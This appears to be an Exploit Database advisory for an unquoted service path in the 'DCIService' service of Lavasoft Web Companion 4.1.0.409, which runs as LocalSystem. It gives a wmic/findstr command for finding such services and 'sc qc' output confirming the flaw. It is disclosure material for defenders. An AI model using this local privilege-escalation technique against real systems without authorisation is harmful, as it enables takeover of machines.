Lavasoft web companion 4.1.0.409 – ‘DCIservice’ Unquoted Service Path

• Exploit Database
• 43 阅读

• 作者： P4p4 M4n3
  日期： 2023-03-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51143/

• #Exploit Title: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path
  # Author: P4p4 M4n3
  # Discovery Date: 25-11-2022
  # Vendor Homepage: https://webcompanion.com/en/
  # Version 4.1.0.409
  # Tested on:Microsoft Windows Server 2019 Datacenter x64
  
  # Description:
  # Lavasoft 4.1.0.409 install DCIserviceas a service with an unquoted service path
  # POC https://youtu.be/yb8AavCMbes 
  
  #Discover the Unquoted Service path
  
  C:\Users\p4p4\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
  
  DCIServiceC:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exeAuto
  
  
  C:\Users\p4p4> sc qc DCIService
  [SC] QueryServiceConfig réussite(s)
  
  SERVICE_NAME: DCIService
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : DCIService
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem